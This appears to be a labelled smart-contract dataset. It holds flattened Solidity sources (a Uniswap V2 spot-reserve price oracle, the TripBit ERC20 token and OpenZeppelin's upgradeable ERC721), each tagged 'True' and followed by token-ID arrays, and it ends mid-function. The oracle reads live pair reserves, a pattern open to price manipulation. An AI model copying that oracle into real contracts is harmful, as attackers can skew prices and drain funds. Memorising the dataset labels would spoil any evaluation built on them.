function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // Copyright 2017 Loopring Technology Limited. /// @title Utility Functions for uint /// @author Daniel Wang - <[email protected]> library MathUint { function mul( uint a, uint b ) internal pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b, "MUL_OVERFLOW"); } function sub( uint a, uint b ) internal pure returns (uint) { require(b <= a, "SUB_UNDERFLOW"); return a - b; } function add( uint a, uint b ) internal pure returns (uint c) { c = a + b; require(c >= a, "ADD_OVERFLOW"); } } // Copyright 2017 Loopring Technology Limited. /// @title PriceOracle interface PriceOracle { // @dev Return's the token's value in ETH function tokenValue(address token, uint amount) external view returns (uint value); } // Copyright 2017 Loopring Technology Limited. /// @title Uniswap2PriceOracle /// @dev Returns the value in Ether for any given ERC20 token. contract UniswapV2PriceOracle is PriceOracle { using MathUint for uint; IUniswapV2Factory factory; address wethAddress; constructor( IUniswapV2Factory _factory, address _wethAddress ) { factory = _factory; wethAddress = _wethAddress; require(_wethAddress != address(0), "INVALID_WETH_ADDRESS"); } function tokenValue(address token, uint amount) external view override returns (uint) { if (amount == 0) return 0; if (token == address(0) \|\| token == wethAddress) return amount; address pair = factory.getPair(token, wethAddress); if (pair == address(0)) { return 0; } (uint112 reserve0, uint112 reserve1,) = IUniswapV2Pair(pair).getReserves(); if (reserve0 == 0 \|\| reserve1 == 0) { return 0; } if (token < wethAddress) { return amount.mul(reserve1) / reserve0; } else { return amount.mul(reserve0) / reserve1; } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 4895, 2483, 4213, 2361, 1013, 4895, 2483, 4213, 2361, 1011, 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pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TripBitToken is StandardToken { string public constant name = "TripBit"; // solium-disable-line uppercase string public constant symbol = "TBT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 700000000 * (10 ** uint256(decimals)); function TripBitToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 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// Sources flattened with hardhat v2.3.0 https://hardhat.org // File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165Upgradeable { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721Upgradeable is IERC165Upgradeable { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom(address from, address to, uint256 tokenId) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721ReceiverUpgradeable { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected] pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721MetadataUpgradeable is IERC721Upgradeable { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library AddressUpgradeable { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /* * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. / abstract contract Initializable { /* * @dev Indicates that the contract has been initialized. / bool private _initialized; /* * @dev Indicates that the contract is in the process of being initialized. / bool private _initializing; /* * @dev Modifier to protect an initializer function from being invoked twice. / modifier initializer() { require(_initializing \|\| !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /* * @dev String operations. / library StringsUpgradeable { bytes16 private constant alphabet = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId \|\| interfaceId == type(IERC721MetadataUpgradeable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /* * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } uint256[44] private __gap; } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send 